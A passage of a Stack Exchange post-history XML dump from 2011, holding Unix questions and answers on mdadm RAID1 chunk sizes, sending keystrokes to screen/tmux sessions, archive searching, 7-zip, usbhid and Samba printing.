          Specify chunk size of kibibytes.  The default when  creating  an&#xD;&#xA;              array  is 512KB.  To ensure compatibility with earlier versions,&#xD;&#xA;              the default when Building and array with no persistent  metadata&#xD;&#xA;              is  64KB.   This  is  only  meaningful  for RAID0, RAID4, RAID5,&#xD;&#xA;              RAID6, and RAID10.&#xD;&#xA;&#xD;&#xA;Why is it not meaningful for raid1?&#xD;&#xA;&#xD;&#xA;Looking at `/proc/mdstat`, the raid1 device has 2930265424 blocks, i.e.&#xD;&#xA;&#xD;&#xA;    3000591794176/2930265424 = 1024&#xD;&#xA;&#xD;&#xA;Does `mdadm` use then a blocksize of 1kb?&#xD;&#xA;&#xD;&#xA;And is chunk-size a different concept than blocksize?&#xD;&#xA;&#xD;&#xA;Trying to let `mdadm` *explain* a device:&#xD;&#xA;&#xD;&#xA;    # mdadm -E /dev/sdb -v -v&#xD;&#xA;    Avail Dev Size : 5860531120 (2794.52 GiB 3000.59 GB)&#xD;&#xA;    Array Size : 5860530848 (2794.52 GiB 3000.59 GB)&#xD;&#xA;&#xD;&#xA;Where&#xD;&#xA;&#xD;&#xA;    3000591794176/5860530848 = 512&#xD;&#xA;&#xD;&#xA;With a default `mkfs.xfs` on the md device, it reports:&#xD;&#xA;&#xD;&#xA;    sectsz=512&#xD;&#xA;    bsize=4096&#xD;&#xA;&#xD;&#xA;I corrected this with a call of `mkfs.xfs -s size=4096 dev`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34878" PostHistoryTypeId="1" PostId="13956" RevisionGUID="84432df1-3af2-456a-8ba4-b88d6f58e742" CreationDate="2011-05-28T13:56:53.160" UserId="1131" Text="mdadm raid1 and what chunksize (or blocksize) on 4k drives?" />
  <row Id="34879" PostHistoryTypeId="3" PostId="13956" RevisionGUID="84432df1-3af2-456a-8ba4-b88d6f58e742" CreationDate="2011-05-28T13:56:53.160" UserId="1131" Text="élinuxàésoftwareöraidàémdadmàéraid1àé4kà" />
  <row Id="34880" PostHistoryTypeId="5" PostId="13954" RevisionGUID="044a1d0e-99a8-488a-be7a-395da025f816" CreationDate="2011-05-28T14:04:42.143" UserId="1925" Comment="added 749 characters in body" Text="**Edit:** Corrected erroneous information.&#xD;&#xA;&#xD;&#xA;The `$()` construct strips newlines from the output of command so that the output lines can be used as the arguments for other programs.&#xD;&#xA;&#xD;&#xA;In this case I assume you are specifically trying to send the equivolant of &lt;kbd&gt;Enter&lt;/kbd&gt; keystroke. While the carriage return you are trying to send won't get striped, there are several easier ways to enter that character without the need for the extra command. You can place a regular newline inside your double quotes or you can enter the character on the command line using the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt; key sequence. This will look something like `^M` in a terminal, but it's a special newline character.).&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop&#xD;&#xA;    &quot;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;&#xD;&#xA;**Edit 2**: Note on erratic screen behavior.&#xD;&#xA;&#xD;&#xA;You are on the right track, but screen seems to have an issue with accepting input to a screen session that has never been attatched. If you run this it will have failed:&#xD;&#xA;&#xD;&#xA;    screen -d -m -S minecraft zsh&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;    screen -r minecraft&#xD;&#xA;&#xD;&#xA;But if you run this it will work:&#xD;&#xA;&#xD;&#xA;    screen -d -m -S minecraft zsh&#xD;&#xA;    screen -r minecraft (then disconnect with Ctrl-a-d)&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;    screen -r minecraft" />
  <row Id="34881" PostHistoryTypeId="14" PostId="13943" RevisionGUID="b2a0b32a-a6c3-4d80-abbe-0b2da3a2f67e" CreationDate="2011-05-28T14:10:34.073" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="34882" PostHistoryTypeId="17" PostId="13943" RevisionGUID="8346a31c-2c9a-4240-8309-39d851674c3d" CreationDate="2011-05-28T14:10:34.090" UserId="29" Comment="to http://stackoverflow.com/questions/6162142/how-to-generate-the-backtrace-by-looking-at-the-stack-values" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:1925,&quot;DisplayName&quot;:&quot;Caleb&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="34883" PostHistoryTypeId="10" PostId="13943" RevisionGUID="39cf9b20-6c17-4897-a2aa-01f6e9a9fc81" CreationDate="2011-05-28T14:10:32.797" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:1925,&quot;DisplayName&quot;:&quot;Caleb&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="34884" PostHistoryTypeId="10" PostId="13908" RevisionGUID="c3935a7c-ae11-41d3-877f-b5c5e57e112a" CreationDate="2011-05-28T14:13:40.190" UserId="29" CloseReasonId="7" Text="[{&quot;Id&quot;:1925,&quot;DisplayName&quot;:&quot;Caleb&quot;},{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="34885" PostHistoryTypeId="2" PostId="13957" RevisionGUID="acc6a414-2c52-498a-a88d-46cfe1d4a720" CreationDate="2011-05-28T14:15:32.057" UserId="5824" Text="&lt;a href=&quot;http://www.cryptopp.com/benchmarks.html&quot;&gt;This table&lt;/a&gt; shows that AES with 128 bit keys would be faster.  In fact, even with 256 bit keys it'd be faster.  (of course, a comparison chart for the exact implementation would be better).&#xD;&#xA;&#xD;&#xA;That being said, since it's such a popular algorithm I'd be tempted to pick it based on popularity because it's something you're going to want around and well supported.  I'm sure the other two will be too, but I'm *more* sure that AES will be." />
  <row Id="34886" PostHistoryTypeId="2" PostId="13958" RevisionGUID="8b4a5045-d132-4602-9820-ebf62a6e5265" CreationDate="2011-05-28T14:22:43.007" UserId="4648" Text="I'm pretty sure this should be doable using [Gentoo Prefix][1].&#xD;&#xA;&#xD;&#xA;&gt; Usually, Gentoo's Portage installs in&#xD;&#xA;&gt; the root of the filesystem hierarchy,&#xD;&#xA;&gt; '/'. On systems other than Gentoo&#xD;&#xA;&gt; Linux, this usually results in&#xD;&#xA;&gt; problems, due to conflicts of software&#xD;&#xA;&gt; packages, unless the OS is adapted&#xD;&#xA;&gt; like Gentoo/FreeBSD. Instead, Gentoo&#xD;&#xA;&gt; Prefix installs with an offset,&#xD;&#xA;&gt; allowing to install in another&#xD;&#xA;&gt; location in the filesystem hierarchy,&#xD;&#xA;&gt; hence avoiding conflicts. Next to this&#xD;&#xA;&gt; offset, Gentoo Prefix runs&#xD;&#xA;&gt; unprivileged, meaning no root user or&#xD;&#xA;&gt; rights are required to use it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/proj/en/gentoo-alt/prefix/" />
  <row Id="34887" PostHistoryTypeId="2" PostId="13959" RevisionGUID="f1b19141-6d82-4a8a-8561-068d09b8e3c7" CreationDate="2011-05-28T14:22:58.017" UserId="3389" Text="Very strange.  On my work Dell E6510 the bluetooth shows up as an &quot;internal&quot; USB device (visible with lspci) and I have no problems with it.&#xD;&#xA;&#xD;&#xA;Try to see if you can get to the Gateway site where it allows you to download the Windows driver, and see if that tells you what kind of chipset/etc. it might be.  Otherwise you might have to take the back cover off and physically look at the chip." />
  <row Id="34888" PostHistoryTypeId="5" PostId="13956" RevisionGUID="f68486cc-6524-4d17-abe5-8d2a067116a1" CreationDate="2011-05-28T14:25:16.487" UserId="1131" Comment="2way mirror in calculation" Text="I want to use two 3 TB drives in a mdadm raid1 setup (using Debian Sequeeze).&#xD;&#xA;&#xD;&#xA;The drives use 4k hardware sectors instead of the traditional 512 byte ones.&#xD;&#xA;&#xD;&#xA;I am a bit confused because on the one hand the kernel reports:&#xD;&#xA;&#xD;&#xA;    $ cat /sys/block/sdb/queue/hw_sector_size&#xD;&#xA;    512&#xD;&#xA;&#xD;&#xA;But on the other hand `fdisk` reports:&#xD;&#xA;&#xD;&#xA;    # fdisk -l /dev/sdb&#xD;&#xA;    Disk /dev/sdb: 3000.6 GB, 3000592982016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 364801 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 4096 bytes&#xD;&#xA;    I/O size (minimum/optimal): 4096 bytes / 4096 bytes&#xD;&#xA;&#xD;&#xA;Thus, it seems that the kernel has some idea that the drive uses 4k sectors.&#xD;&#xA;&#xD;&#xA;The `mdadm` man page is a bit cryptic about the chunk size and raid1:&#xD;&#xA;&#xD;&#xA;&gt;        -c, --chunk=&#xD;&#xA;              Specify chunk size of kibibytes.  The default when  creating  an&#xD;&#xA;              array  is 512KB.  To ensure compatibility with earlier versions,&#xD;&#xA;              the default when Building and array with no persistent  metadata&#xD;&#xA;              is  64KB.   This  is  only  meaningful  for RAID0, RAID4, RAID5,&#xD;&#xA;              RAID6, and RAID10.&#xD;&#xA;&#xD;&#xA;Why is it not meaningful for raid1?&#xD;&#xA;&#xD;&#xA;Looking at `/proc/mdstat`, the raid1 device has 2930265424 blocks, i.e.&#xD;&#xA;&#xD;&#xA;    3000591794176/2930265424/2 = 512&#xD;&#xA;&#xD;&#xA;Does `mdadm` use then a blocksize of 512 bytes? (/2 because it a two-way mirror)&#xD;&#xA;&#xD;&#xA;And is chunk-size a different concept than blocksize?&#xD;&#xA;&#xD;&#xA;Trying to let `mdadm` *explain* a device:&#xD;&#xA;&#xD;&#xA;    # mdadm -E /dev/sdb -v -v&#xD;&#xA;    Avail Dev Size : 5860531120 (2794.52 GiB 3000.59 GB)&#xD;&#xA;    Array Size : 5860530848 (2794.52 GiB 3000.59 GB)&#xD;&#xA;&#xD;&#xA;Where&#xD;&#xA;&#xD;&#xA;    3000591794176/5860530848 = 512&#xD;&#xA;&#xD;&#xA;With a default `mkfs.xfs` on the md device, it reports:&#xD;&#xA;&#xD;&#xA;    sectsz=512&#xD;&#xA;    bsize=4096&#xD;&#xA;&#xD;&#xA;I corrected this with a call of `mkfs.xfs -s size=4096 dev`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34889" PostHistoryTypeId="2" PostId="13960" RevisionGUID="e80882c8-6712-4e09-9798-71a36ac948ce" CreationDate="2011-05-28T14:32:49.447" UserId="1131" Text="Consider following `kern.log` snippet:&#xD;&#xA;&#xD;&#xA;     ata4.00: failed command: WRITE FPDMA QUEUED&#xD;&#xA;     ata4.00: cmd 61/00:78:40:1e:6c/04:00:f0:00:00/40 tag 15 ncq 524288 out&#xD;&#xA;            res 41/04:00:00:00:00/04:00:00:00:00/00 Emask 0x1 (device error)&#xD;&#xA;     ata4.00: status: { DRDY ERR }&#xD;&#xA;     ata4.00: error: { ABRT }&#xD;&#xA;     ata4: hard resetting link&#xD;&#xA;     ata4: nv: skipping hardreset on occupied port&#xD;&#xA;     ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 300)&#xD;&#xA;     ata4.00: configured for UDMA/133&#xD;&#xA;     ata4: EH complete&#xD;&#xA;&#xD;&#xA;How can I identify which hard drive the kernel actually means when it talks about `ata4.00`?&#xD;&#xA;&#xD;&#xA;How can I find the corresponding `/dev/sdY` device name?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34890" PostHistoryTypeId="1" PostId="13960" RevisionGUID="e80882c8-6712-4e09-9798-71a36ac948ce" CreationDate="2011-05-28T14:32:49.447" UserId="1131" Text="How to map ataX.0 identifiers in kern.log error messages to actual /dev/sdY devices?" />
  <row Id="34891" PostHistoryTypeId="3" PostId="13960" RevisionGUID="e80882c8-6712-4e09-9798-71a36ac948ce" CreationDate="2011-05-28T14:32:49.447" UserId="1131" Text="élinuxàésataà" />
  <row Id="34892" PostHistoryTypeId="5" PostId="13954" RevisionGUID="f26a0548-9fd5-4a9e-88a6-2c498eacdb21" CreationDate="2011-05-28T14:33:18.777" UserId="1925" Comment="added 338 characters in body" Text="**Edit:** Corrected erroneous information.&#xD;&#xA;&#xD;&#xA;The `$()` construct strips newlines from the output of command so that the output lines can be used as the arguments for other programs.&#xD;&#xA;&#xD;&#xA;In this case I assume you are specifically trying to send the equivolant of &lt;kbd&gt;Enter&lt;/kbd&gt; keystroke. While the carriage return you are trying to send won't get striped, there are several easier ways to enter that character without the need for the extra command. You can place a regular newline inside your double quotes or you can enter the character on the command line using the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt; key sequence. This will look something like `^M` in a terminal, but it's a special newline character.).&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop&#xD;&#xA;    &quot;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;&#xD;&#xA;**Edit 2**: Note on erratic screen behavior.&#xD;&#xA;&#xD;&#xA;You are on the right track, but screen seems to have an issue with accepting input to a screen session that has never been attatched. If you run this it will have failed:&#xD;&#xA;&#xD;&#xA;    screen -d -m -S minecraft zsh&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;    screen -r minecraft&#xD;&#xA;&#xD;&#xA;But if you run this it will work:&#xD;&#xA;&#xD;&#xA;    screen -d -m -S minecraft zsh&#xD;&#xA;    screen -r minecraft (then disconnect with Ctrl-a-d)&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;    screen -r minecraft&#xD;&#xA;&#xD;&#xA;**Edit 3**: Solution using `tmux` instead of `screen`.&#xD;&#xA;&#xD;&#xA;    # Start new detatched tmux session with a named window pane running the java app&#xD;&#xA;    tmux new-session -d -n minecraft /usr/lib/java/bin/java -Xincgc -Xmx1024M -jar CraftBukkit.jar&#xD;&#xA;&#xD;&#xA;    # Send it keys to stop the mincraft server&#xD;&#xA;    tmux send-keys -t minecraft &quot;stop^M&quot;" />
  <row Id="34893" PostHistoryTypeId="2" PostId="13961" RevisionGUID="9c5a7b02-bca6-4b34-9455-8b93ca86fa2c" CreationDate="2011-05-28T14:37:17.803" UserId="885" Text="I can solve at least part of the problem: why the `stop` part isn't working. Experimentally, when you start a Screen session in detached mode (`screen -d -m`), no window is selected, so input later sent with `screen -X stuff` is just lost. You need to explicitly specify that you want to send the keystrokes to window 0 (`-p 0`). This is a good idea anyway, in case you happen to create other windows in that Screen session for whatever reason.&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -p 0 -X stuff &quot;stop$(printf \\r)&quot;&#xD;&#xA;&#xD;&#xA;(`printf \\r` is a more portable way of writing `echo -ne '\r'`, the `echo` variant doesn't work in e.g. dash which is `/bin/sh` on Ubuntu.)&#xD;&#xA;&#xD;&#xA;The problem with starting the session from a script is likely related to unMENU.&#xD;&#xA;" />
  <row Id="34894" PostHistoryTypeId="5" PostId="5848" RevisionGUID="10eeca74-4640-4407-8251-ad1c70d0475d" CreationDate="2011-05-28T14:40:53.280" UserId="885" Comment="replaced `echo` by the more portable `printf`; use `-p 0` which turns out to be necessary if the session is initially started in detached mode" Text="You have to give the parameter `-X` a `screen` command, I think you want to &quot;stuff&quot; a minecraft-server command to the `screen` session.&#xD;&#xA;&#xD;&#xA;    screen -r minecraft -p 0 -X stuff &quot;stop $(printf '\r')&quot;&#xD;&#xA;&#xD;&#xA;The `printf` send a carriage return, so the command &quot;stop&quot; gets executed. `-p 0` makes sure the characters are [sent](http://unix.stackexchange.com/questions/13953/sending-text-input-to-a-detached-screen/13961#13961) to the initial Screen window.&#xD;&#xA;&#xD;&#xA;For sending it over `ssh` you have to enclosure the command in `&quot; &quot;` (you could also use `` ` ` ``, but that wouldn't let you do the command substitution).&#xD;&#xA;&#xD;&#xA;    ssh -t -i ~/.ssh/id_dsa server_user@server_address &quot;screen -r minecraft -X stuff &quot;even other_server_name is getting in on the action\! $(echo -ne '\r')&quot;&quot;&#xD;&#xA;&#xD;&#xA;Beware that `!` is a reserved word, you have to escape it.&#xD;&#xA;&#xD;&#xA;It is also [possible][1] to include a user generated newline into the command to execute it:&#xD;&#xA;&#xD;&#xA;    ssh -t -i ~/.ssh/id_dsa server_user@server_address &quot;screen -r minecraft -X stuff 'even other_server_name is getting in on the action!&#xD;&#xA;    '&quot;&#xD;&#xA;&#xD;&#xA;Escaping `!` isn't necessary here.&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5546/connect-to-byobu-screen-session-and-execute-command/5548#5548" />
  <row Id="34895" PostHistoryTypeId="2" PostId="13962" RevisionGUID="46825dd2-ee0a-4bfe-9f40-c7144b838f29" CreationDate="2011-05-28T14:44:48.350" UserId="1925" Text="As we discovered in [this similar question][1], screen has issues with sending keys to sessions that have never been attached. If you have ever attached, the default window pane is set to zero, otherwise it will silently fail because the keystrokes aren't going to a window. You can avoid this [by adding a `-p 0` argument][2] to your screen command.&#xD;&#xA;&#xD;&#xA;Alternativly, you can use the much better behaved [`tmux` instead like this][3]:&#xD;&#xA;&#xD;&#xA;    tmux new-session -d -n minecraft /var/minecraft/bin/server_nogui.sh&#xD;&#xA;&#xD;&#xA;Then send the minecraft server the stop command like this:&#xD;&#xA;&#xD;&#xA;    tmux send-keys -t minecraft &quot;stop^M&quot;&#xD;&#xA;&#xD;&#xA;Note that the ^M sequence above is a visual representation of a real enter. You can generate this on the command like by hitting &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt;. This is easier than sending the carriage return using the echo statement in [wag's answer][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/13953/1925&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/13953/sending-text-input-to-a-detached-screen/13961#13961&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/13953/sending-text-input-to-a-detached-screen/13954#13954&#xD;&#xA;  [4]: http://unix.stackexchange.com/questions/5847/why-is-screen-seemingly-doing-nothing-with-commands-passed-with-x/5848#5848" />
  <row Id="34896" PostHistoryTypeId="5" PostId="13954" RevisionGUID="264a866f-567b-4f74-b99a-4e947df7606e" CreationDate="2011-05-28T14:55:55.690" UserId="1925" Comment="added 528 characters in body" Text="###First, a note on easily entering newlines:&#xD;&#xA;&#xD;&#xA;Just a heads up that the `$()` construct strips newlines from the output of command so that the output lines can be used as the arguments for other programs. This can cause unexpected behavior. In this case I assume you are specifically trying to send the equivolant of &lt;kbd&gt;Enter&lt;/kbd&gt; keystroke. While the carriage return you are sending with `\r` won't get striped, there are several easier ways to enter that character without the need for the extra command.&#xD;&#xA;&#xD;&#xA;1. You can place a regular newline inside your double quotes&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop&#xD;&#xA;    &quot;&#xD;&#xA;&#xD;&#xA;1. Or you can enter the character in a terminal line using the &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;v&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt; sequence. This will look something like `^M` in the terminal, but it's a special newline character.&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;&#xD;&#xA;### Secondly, A note on erratic screen behavior. ([Explanation and solution by Gilles][1])&#xD;&#xA;&#xD;&#xA;Screen has an issue with accepting input to a screen session that has never been attatched. If you run this it will have failed:&#xD;&#xA;&#xD;&#xA;    screen -d -m -S minecraft zsh&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;    screen -r minecraft&#xD;&#xA;&#xD;&#xA;But if you run this it will work:&#xD;&#xA;&#xD;&#xA;    screen -d -m -S minecraft zsh&#xD;&#xA;    screen -r minecraft (then disconnect with Ctrl-a-d)&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;&#xD;&#xA;    screen -r minecraft&#xD;&#xA;&#xD;&#xA;### Lastly, you could use the much better behaved `tmux` instead of `screen`.&#xD;&#xA;&#xD;&#xA;GNU-Screen has been a defacto terminal multiplexer for many years, but it has long ceased to be developed and bugs and quirks aren't getting fixed. Tmux is under active development, includes many features that screen can't touch, and it's behavior out of the box is rather more intuitive. Also, it's better documented. Here's how you would convert your code:&#xD;&#xA;&#xD;&#xA;    # Start new detatched tmux session with a named window pane running the java app&#xD;&#xA;    tmux new-session -d -n minecraft /usr/lib/java/bin/java [args]&#xD;&#xA;&#xD;&#xA;    # Send it keys to stop the mincraft server&#xD;&#xA;    tmux send-keys -t minecraft &quot;stop^M&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13953/sending-text-input-to-a-detached-screen/13961#13961" />
  <row Id="34897" PostHistoryTypeId="25" PostId="13953" RevisionGUID="6a26f71e-adc1-4ed3-9469-ea6b39d04fa2" CreationDate="2011-05-28T15:13:15.333" Comment="http://twitter.com/#!/StackUnix/status/74493440892739584" />
  <row Id="34898" PostHistoryTypeId="5" PostId="13798" RevisionGUID="099cb253-4227-4eec-b0a9-e245b4f892a5" CreationDate="2011-05-28T15:19:10.890" UserId="885" Comment="include mountavfs in both code snippets" Text="Ok, let's apply the unix philosophy. What are the components of this task?&#xD;&#xA;&#xD;&#xA;* Text search: you need a tool to search text in a file, such as `grep`.&#xD;&#xA;* Recursive: you need a tool to go looking for files in a directory tree, such as `find`.&#xD;&#xA;* Archives: you need a tool to read them.&#xD;&#xA;&#xD;&#xA;Most unix programs operate on files. So to operate easily on archive components, you need to access them as files, in other words you need to access them as directories.&#xD;&#xA;&#xD;&#xA;The [AVFS](http://avf.sourceforge.net/) filesystem presents a view of the filesystem where every archive file `/path/to/foo.zip` is accessible as a directory `~/.avfs/path/to/foo/zip#`. AVFS provides read-only access to most common archive file formats.&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    find ~/.avfs$PWD \( -name '*.zip' -o -name '*.tar.gz' -o -name '*.tgz' \) \&#xD;&#xA;         -exec sh -c 'find &quot;$0#&quot; -name &quot;*.pm&quot; \&#xD;&#xA;                           -exec grep &quot;$1&quot; +' {} 'Test::Version' \;&#xD;&#xA;    fusermount -u ~/.avfs   # optional: unmount the AVFS filesystem&#xD;&#xA;&#xD;&#xA;or in zsh:&#xD;&#xA;&#xD;&#xA;    mountavfs&#xD;&#xA;    grep 'Test::Version' ~/.avfs$PWD/**/*.(tgz|tar.gz|zip)(e\''&#xD;&#xA;         reply=($REPLY\#/**/*.pm(.N))&#xD;&#xA;    '\')&#xD;&#xA;" />
  <row Id="34899" PostHistoryTypeId="5" PostId="13331" RevisionGUID="505a8d6c-935c-486b-9925-51681a4ca4e8" CreationDate="2011-05-28T16:02:47.280" UserId="1925" Comment="Removed signature, see FAQ. Your posts are signed with a link to your profile. Fixed English issues to clarify the question and tweaked formatting." Text="On Mac OS X 10.6, zsh. I have set in .zshrc:&#xD;&#xA;&#xD;&#xA;    setopt automenu&#xD;&#xA;&#xD;&#xA;…to get a completion menu below the prompt. When I type:&#xD;&#xA;&#xD;&#xA;    cd &lt;TAB&gt;&#xD;&#xA;&#xD;&#xA;I see a completion menu with all directories that have spaces in their names having those spaces escaped with a backslash. I would like them to be displayed without the escaping backslash for better readability. This works in bash and in tcsh and when I do run `ls` from zsh. I don't see the ugly slashes.&#xD;&#xA;&#xD;&#xA;The actual line on the prompt of course needs those escaped spaces for the command to work, but the list of directories below shouldn't show them escaped.&#xD;&#xA;&#xD;&#xA;Can anyone demonstrate how to achieve this? I have not found a setting to change the output in the completion menu" />
  <row Id="34900" PostHistoryTypeId="6" PostId="13331" RevisionGUID="505a8d6c-935c-486b-9925-51681a4ca4e8" CreationDate="2011-05-28T16:02:47.280" UserId="1925" Comment="Removed signature, see FAQ. Your posts are signed with a link to your profile. Fixed English issues to clarify the question and tweaked formatting." Text="élinuxàéshellàéosxàézshà" />
  <row Id="34901" PostHistoryTypeId="2" PostId="13963" RevisionGUID="d94ab935-2649-4ecb-b029-9972bfb9e4c0" CreationDate="2011-05-28T17:05:56.740" UserId="7867" Text="I have a .tar.bz2 file that I want to be decompressed and extracted via the 7-zip commandline tool.&#xD;&#xA;&#xD;&#xA;So basically I'm looking for the equivalent of&#xD;&#xA;&#xD;&#xA;    tar -xjf foo.tar.bz2&#xD;&#xA;&#xD;&#xA;with 7-zip there is only the option &quot;x&quot; for extract, so doing&#xD;&#xA;&#xD;&#xA;    7z x foo.tar.bz2&#xD;&#xA;&#xD;&#xA;gives me the inflated foo.tar file instead of unpacking all the directories inside the tar.&#xD;&#xA;What's the corresponding option for 7z?" />
  <row Id="34902" PostHistoryTypeId="1" PostId="13963" RevisionGUID="d94ab935-2649-4ecb-b029-9972bfb9e4c0" CreationDate="2011-05-28T17:05:56.740" UserId="7867" Text="howto inflate AND extract a .tar.bz2 using the 7-zip command line tool" />
  <row Id="34903" PostHistoryTypeId="3" PostId="13963" RevisionGUID="d94ab935-2649-4ecb-b029-9972bfb9e4c0" CreationDate="2011-05-28T17:05:56.740" UserId="7867" Text="étaràé7zà" />
  <row Id="34904" PostHistoryTypeId="2" PostId="13964" RevisionGUID="1ac2c37b-56e3-4814-80fa-6bcff2d1c30e" CreationDate="2011-05-28T17:34:53.697" UserId="7868" Text="Hi All, I'm not 100% sure this is the best place to ask this, but it seemed too unix-oriented for StackOverflow or SuperUser.&#xD;&#xA;&#xD;&#xA;I have a usb rocket launcher that I wish to experiment with through libusb. However, libusb cannot claim the interface; presumably because the output of usb-devices lists 'usbhid' as the driver for the device.&#xD;&#xA;&#xD;&#xA;From reading around on the internet, I've only come to the conclusion that I need to detach this driver from the device so I can use it with libusb. However, I have not found a single definitive way to do that, only several different ideas and bug reports.&#xD;&#xA;&#xD;&#xA;So, is there a way to detach the usbhid driver from a device that would be relevant with the kernel and tools supplied with Ubuntu 11.04?" />
  <row Id="34905" PostHistoryTypeId="1" PostId="13964" RevisionGUID="1ac2c37b-56e3-4814-80fa-6bcff2d1c30e" CreationDate="2011-05-28T17:34:53.697" UserId="7868" Text="Prevent claiming of novelty usb device by usbhid so I can control it with libusb?" />
  <row Id="34906" PostHistoryTypeId="3" PostId="13964" RevisionGUID="1ac2c37b-56e3-4814-80fa-6bcff2d1c30e" CreationDate="2011-05-28T17:34:53.697" UserId="7868" Text="éubuntuàékernelàéusbàédevicesà" />
  <row Id="34907" PostHistoryTypeId="5" PostId="13964" RevisionGUID="6052317a-1fd0-481c-bc7b-28ccc8b6dd25" CreationDate="2011-05-28T17:44:52.957" UserId="1925" Comment="deleted 125 characters in body" Text="I have a USB rocket launcher that I wish to experiment with through `libusb`. However, libusb cannot claim the interface; presumably because the output of `usb-devices` lists 'usbhid' as the driver for the device.&#xD;&#xA;&#xD;&#xA;From reading around on the internet, I've only come to the conclusion that I need to detach this driver from the device so I can use it with libusb. However, I have not found a single definitive way to do that, only several different ideas and bug reports.&#xD;&#xA;&#xD;&#xA;So, is there a way to detach the usbhid driver from a device that would be relevant with the kernel and tools supplied with Ubuntu 11.04?" />
  <row Id="34908" PostHistoryTypeId="2" PostId="13965" RevisionGUID="7922fe9b-b725-43da-a0d3-cc9b0c889591" CreationDate="2011-05-28T17:47:02.660" UserId="1925" Text="I think you will need to add the device id to `udev`'s blacklist so that no module, including usbhid, gets attached to it." />
  <row Id="34909" PostHistoryTypeId="2" PostId="13966" RevisionGUID="17437828-e903-42af-885e-b0258b2bb5ea" CreationDate="2011-05-28T17:51:48.297" UserId="93" Text="I have a Windows machine (W7.Ultimate) with a shared HP LaserJet CP1215. I have set this up via SAMBA as a shared printer on my laptop, running Fedora Core 15, using Foomatic/foo2hp.&#xD;&#xA;&#xD;&#xA;My problem (which has only started happening in the last month or so; clearly I changed something) is that every print job sent to the printer comes out as 3  copies. Print a 7-page document? Get 21 pages, 3 copies of each page, as Page 1 x3, Page 2 x3, etc..&#xD;&#xA;&#xD;&#xA;I have checked every setting under Printer Configuration in KDE, gone through the CUPS setup and checked every setting there, and also checked the settings on the Windows machine. Everywhere I've looked, it says &quot;1 copy&quot; as the default. This issue does not happen if I print from the desktop machine where the printer is attached, and does not happen when printing from my wife's Windows laptop. It seems to be localized to my machine only.&#xD;&#xA;&#xD;&#xA;Any suggestions as to how to fix this issue would be appreciated." />
  <row Id="34910" PostHistoryTypeId="1" PostId="13966" RevisionGUID="17437828-e903-42af-885e-b0258b2bb5ea" CreationDate="2011-05-28T17:51:48.297" UserId="93" Text="Printing to a SAMBA-share HP: Multiple copies appear" />
  <row Id="34911" PostHistoryTypeId="3" PostId="13966" RevisionGUID="17437828-e903-42af-885e-b0258b2bb5ea" CreationDate="2011-05-28T17:51:48.297" UserId="93" Text="éfedoraàékdeàésambaàéprintingà" />
  <row Id="34912" PostHistoryTypeId="5" PostId="10634" RevisionGUID="d7168e7a-3959-4154-b630-5c3317483eb3" CreationDate="2011-05-28T17:57:19.363" UserId="1925" Comment="deleted 20 characters in body" Text="How can I set the video mode in Linux the low level way? As far as I know the lowest layer in userspace would be to request KMS via DRM. Is this correct? And if so, how could I achieve a mode switch and access to the associated &quot;video memory&quot;?" />
